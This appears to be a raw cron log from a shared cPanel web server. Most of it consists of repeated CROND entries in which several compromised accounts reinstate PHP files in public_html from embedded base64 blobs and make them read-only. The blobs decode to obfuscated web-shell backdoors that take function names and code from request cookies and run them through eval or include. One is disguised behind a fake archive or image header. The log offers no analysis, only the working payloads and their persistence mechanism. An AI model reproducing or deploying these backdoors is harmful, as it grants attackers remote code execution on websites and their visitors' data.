Mar  1 07:37:02 medusa CROND[23575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:37:02 medusa CROND[23577]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:37:02 medusa CROND[23579]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:37:02 medusa CROND[23583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:37:02 medusa CROND[23578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:38:01 medusa CROND[12780]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:38:01 medusa CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:38:01 medusa CROND[12782]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:38:01 medusa CROND[12783]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:38:01 medusa CROND[12785]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:38:01 medusa CROND[12786]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:38:01 medusa CROND[12784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:38:01 medusa CROND[12788]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:38:01 medusa CROND[12791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:38:01 medusa CROND[12798]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:38:01 medusa CROND[12792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:38:01 medusa CROND[12793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:38:01 medusa CROND[12803]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:39:01 medusa CROND[1375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:39:01 medusa CROND[1376]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 07:39:01 medusa CROND[1397]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:39:01 medusa CROND[1544]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:39:01 medusa CROND[1545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:39:01 medusa CROND[1546]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:39:01 medusa CROND[1547]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:39:01 medusa CROND[1549]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:39:01 medusa CROND[1551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:39:01 medusa CROND[1553]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
